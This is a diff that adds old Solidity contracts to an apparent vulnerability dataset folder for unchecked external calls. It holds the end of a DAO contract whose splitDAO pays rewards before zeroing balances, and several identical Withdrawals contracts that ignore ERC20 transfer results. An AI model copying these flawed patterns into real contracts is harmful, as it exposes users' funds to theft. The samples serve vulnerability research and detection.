p.votedNo[msg.sender] + || now >= p.votingDeadline) { + + throw; + } + + if (_supportsProposal) { + p.yea += balances[msg.sender]; + p.votedYes[msg.sender] = true; + } else { + p.nay += balances[msg.sender]; + p.votedNo[msg.sender] = true; + } + + if (blocked[msg.sender] == 0) { + blocked[msg.sender] = _proposalID; + } else if (p.votingDeadline > proposals[blocked[msg.sender]].votingDeadline) { + // this proposal's voting deadline is further into the future than + // the proposal that blocks the sender so make it the blocker + blocked[msg.sender] = _proposalID; + } + + Voted(_proposalID, _supportsProposal, msg.sender); + } + + + function executeProposal( + uint _proposalID, + bytes _transactionData + ) noEther returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + uint waitPeriod = p.newCurator + ? splitExecutionPeriod + : executeProposalPeriod; + // If we are over deadline and waiting period, assert proposal is closed + if (p.open && now > p.votingDeadline + waitPeriod) { + closeProposal(_proposalID); + return; + } + + // Check if the proposal can be executed + if (now < p.votingDeadline // has the voting deadline arrived? + // Have the votes been counted? + || !p.open + // Does the transaction code match the proposal? + || p.proposalHash != sha3(p.recipient, p.amount, _transactionData)) { + + throw; + } + + // If the curator removed the recipient from the whitelist, close the proposal + // in order to free the deposit and allow unblocking of voters + if (!isRecipientAllowed(p.recipient)) { + closeProposal(_proposalID); + p.creator.send(p.proposalDeposit); + return; + } + + bool proposalCheck = true; + + if (p.amount > actualBalance()) + proposalCheck = false; + + uint quorum = p.yea + p.nay; + + // require 53% for calling newContract() + if (_transactionData.length >= 4 && _transactionData[0] == 0x68 + && _transactionData[1] == 0x37 && _transactionData[2] == 0xff + && _transactionData[3] == 0x1e + && quorum < minQuorum(actualBalance() + rewardToken[address(this)])) { + + proposalCheck = false; + } + + if (quorum >= minQuorum(p.amount)) { + if (!p.creator.send(p.proposalDeposit)) + throw; + + lastTimeMinQuorumMet = now; + // set the minQuorum to 20% again, in the case it has been reached + if (quorum > totalSupply / 5) + minQuorumDivisor = 5; + } + + // Execute result + if (quorum >= minQuorum(p.amount) && p.yea > p.nay && proposalCheck) { + if (!p.recipient.call.value(p.amount)(_transactionData)) + throw; + + p.proposalPassed = true; + _success = true; + + // only create reward tokens when ether is not sent to the DAO itself and + // related addresses. Proxy addresses should be forbidden by the curator. + if (p.recipient != address(this) && p.recipient != address(rewardAccount) + && p.recipient != address(DAOrewardAccount) + && p.recipient != address(extraBalance) + && p.recipient != address(curator)) { + + rewardToken[address(this)] += p.amount; + totalRewardToken += p.amount; + } + } + + closeProposal(_proposalID); + + // Initiate event + ProposalTallied(_proposalID, _success, quorum); + } + + + function closeProposal(uint _proposalID) internal { + Proposal p = proposals[_proposalID]; + if (p.open) + sumOfProposalDeposits -= p.proposalDeposit; + p.open = false; + } + + function splitDAO( + uint _proposalID, + address _newCurator + ) noEther onlyTokenholders returns (bool _success) { + + Proposal p = proposals[_proposalID]; + + // Sanity check + + if (now < p.votingDeadline // has the voting deadline arrived? + //The request for a split expires XX days after the voting deadline + || now > p.votingDeadline + splitExecutionPeriod + // Does the new Curator address match? + || p.recipient != _newCurator + // Is it a new curator proposal? + || !p.newCurator + // Have you voted for this split? + || !p.votedYes[msg.sender] + // Did you already vote on another proposal? + || (blocked[msg.sender] != _proposalID && blocked[msg.sender] != 0) ) { + + throw; + } + + // If the new DAO doesn't exist yet, create the new DAO and store the + // current split data + if (address(p.splitData[0].newDAO) == 0) { + p.splitData[0].newDAO = createNewDAO(_newCurator); + // Call depth limit reached, etc. + if (address(p.splitData[0].newDAO) == 0) + throw; + // should never happen + if (this.balance < sumOfProposalDeposits) + throw; + p.splitData[0].splitBalance = actualBalance(); + p.splitData[0].rewardToken = rewardToken[address(this)]; + p.splitData[0].totalSupply = totalSupply; + p.proposalPassed = true; + } + + // Move ether and assign new Tokens + uint fundsToBeMoved = + (balances[msg.sender] * p.splitData[0].splitBalance) / + p.splitData[0].totalSupply; + if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) + throw; + + + // Assign reward rights to new DAO + uint rewardTokenToBeMoved = + (balances[msg.sender] * p.splitData[0].rewardToken) / + p.splitData[0].totalSupply; + + uint paidOutToBeMoved = DAOpaidOut[address(this)] * rewardTokenToBeMoved / + rewardToken[address(this)]; + + rewardToken[address(p.splitData[0].newDAO)] += rewardTokenToBeMoved; + if (rewardToken[address(this)] < rewardTokenToBeMoved) + throw; + rewardToken[address(this)] -= rewardTokenToBeMoved; + + DAOpaidOut[address(p.splitData[0].newDAO)] += paidOutToBeMoved; + if (DAOpaidOut[address(this)] < paidOutToBeMoved) + throw; + DAOpaidOut[address(this)] -= paidOutToBeMoved; + + // Burn DAO Tokens + Transfer(msg.sender, 0, balances[msg.sender]); + withdrawRewardFor(msg.sender); // be nice, and get his rewards + totalSupply -= balances[msg.sender]; + balances[msg.sender] = 0; + paidOut[msg.sender] = 0; + return true; + } + + function newContract(address _newContract){ + if (msg.sender != address(this) || !allowedRecipients[_newContract]) return; + // move all ether + if (!_newContract.call.value(address(this).balance)()) { + throw; + } + + //move all reward tokens + rewardToken[_newContract] += rewardToken[address(this)]; + rewardToken[address(this)] = 0; + DAOpaidOut[_newContract] += DAOpaidOut[address(this)]; + DAOpaidOut[address(this)] = 0; + } + + + function retrieveDAOReward(bool _toMembers) external noEther returns (bool _success) { + MICRODAO dao = MICRODAO(msg.sender); + + if ((rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken < DAOpaidOut[msg.sender]) + throw; + + uint reward = + (rewardToken[msg.sender] * DAOrewardAccount.accumulatedInput()) / + totalRewardToken - DAOpaidOut[msg.sender]; + + reward = DAOrewardAccount.balance < reward ? DAOrewardAccount.balance : reward; + + if(_toMembers) { + if (!DAOrewardAccount.payOut(dao.rewardAccount(), reward)) + throw; + } + else { + if (!DAOrewardAccount.payOut(dao, reward)) + throw; + } + DAOpaidOut[msg.sender] += reward; + return true; + } + + function getMyReward() noEther returns (bool _success) { + return withdrawRewardFor(msg.sender); + } + + + function withdrawRewardFor(address _account) noEther internal returns (bool _success) { + if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) + throw; + + uint reward = + (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; + + reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; + + if (!rewardAccount.payOut(_account, reward)) + throw; + paidOut[_account] += reward; + return true; + } + + + function transfer(address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(msg.sender) + && transferPaidOut(msg.sender, _to, _value) + && super.transfer(_to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferWithoutReward(address _to, uint256 _value) returns (bool success) { + if (!getMyReward()) + throw; + return transfer(_to, _value); + } + + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (isFueled + && now > closingTime + && !isBlocked(_from) + && transferPaidOut(_from, _to, _value) + && super.transferFrom(_from, _to, _value)) { + + return true; + } else { + throw; + } + } + + + function transferFromWithoutReward( + address _from, + address _to, + uint256 _value + ) returns (bool success) { + + if (!withdrawRewardFor(_from)) + throw; + return transferFrom(_from, _to, _value); + } + + + function transferPaidOut( + address _from, + address _to, + uint256 _value + ) internal returns (bool success) { + + uint transferPaidOut = paidOut[_from] * _value / balanceOf(_from); + if (transferPaidOut > paidOut[_from]) + throw; + paidOut[_from] -= transferPaidOut; + paidOut[_to] += transferPaidOut; + return true; + } + + + function changeProposalDeposit(uint _proposalDeposit) noEther external { + if (msg.sender != address(this) || _proposalDeposit > (actualBalance() + rewardToken[address(this)]) + / maxDepositDivisor) { + + throw; + } + proposalDeposit = _proposalDeposit; + } + + + function changeAllowedRecipients(address _recipient, bool _allowed) noEther external returns (bool _success) { + if (msg.sender != curator) + throw; + allowedRecipients[_recipient] = _allowed; + AllowedRecipientChanged(_recipient, _allowed); + return true; + } + + + function isRecipientAllowed(address _recipient) internal returns (bool _isAllowed) { + if (allowedRecipients[_recipient] + || (_recipient == address(extraBalance) + // only allowed when at least the amount held in the + // extraBalance account has been spent from the DAO + && totalRewardToken > extraBalance.accumulatedInput())) + return true; + else + return false; + } + + function actualBalance() constant returns (uint _actualBalance) { + return this.balance - sumOfProposalDeposits; + } + + + function minQuorum(uint _value) internal constant returns (uint _minQuorum) { + // minimum of 20% and maximum of 53.33% + return totalSupply / minQuorumDivisor + + (_value * totalSupply) / (3 * (actualBalance() + rewardToken[address(this)])); + } + + + function halveMinQuorum() returns (bool _success) { + // this can only be called after `quorumHalvingPeriod` has passed or at anytime after + // fueling by the curator with a delay of at least `minProposalDebatePeriod` + // between the calls + if ((lastTimeMinQuorumMet < (now - quorumHalvingPeriod) || msg.sender == curator) + && lastTimeMinQuorumMet < (now - minProposalDebatePeriod) + && now >= closingTime + && proposals.length > 1) { + lastTimeMinQuorumMet = now; + minQuorumDivisor *= 2; + return true; + } else { + return false; + } + } + + function createNewDAO(address _newCurator) internal returns (MICRODAO _newDAO) { + NewCurator(_newCurator); + return daoCreator.createDAO(_newCurator, 0, 0, now + splitExecutionPeriod); + } + + function numberOfProposals() constant returns (uint _numberOfProposals) { + // Don't count index 0. It's used by isBlocked() and exists from start + return proposals.length - 1; + } + + function getNewDAOAddress(uint _proposalID) constant returns (address _newDAO) { + return proposals[_proposalID].splitData[0].newDAO; + } + + function isBlocked(address _account) internal returns (bool) { + if (blocked[_account] == 0) + return false; + Proposal p = proposals[blocked[_account]]; + if (now > p.votingDeadline) { + blocked[_account] = 0; + return false; + } else { + return true; + } + } + + function unblockMe() returns (bool) { + return isBlocked(msg.sender); + } +} + +contract DAO_Creator { + function createDAO( + address _curator, + uint _proposalDeposit, + uint _minTokensToCreate, + uint _closingTime + ) returns (MICRODAO _newDAO) { + + return new MICRODAO( + _curator, + DAO_Creator(this), + _proposalDeposit, + _minTokensToCreate, + _closingTime, + msg.sender + ); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40511.sol b/smart_contract_dataset/unchecked external call/40511.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40511.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40521.sol b/smart_contract_dataset/unchecked external call/40521.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40521.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40524.sol b/smart_contract_dataset/unchecked external call/40524.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40524.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40527.sol b/smart_contract_dataset/unchecked external call/40527.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40527.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40623.sol b/smart_contract_dataset/unchecked external call/40623.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40623.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev 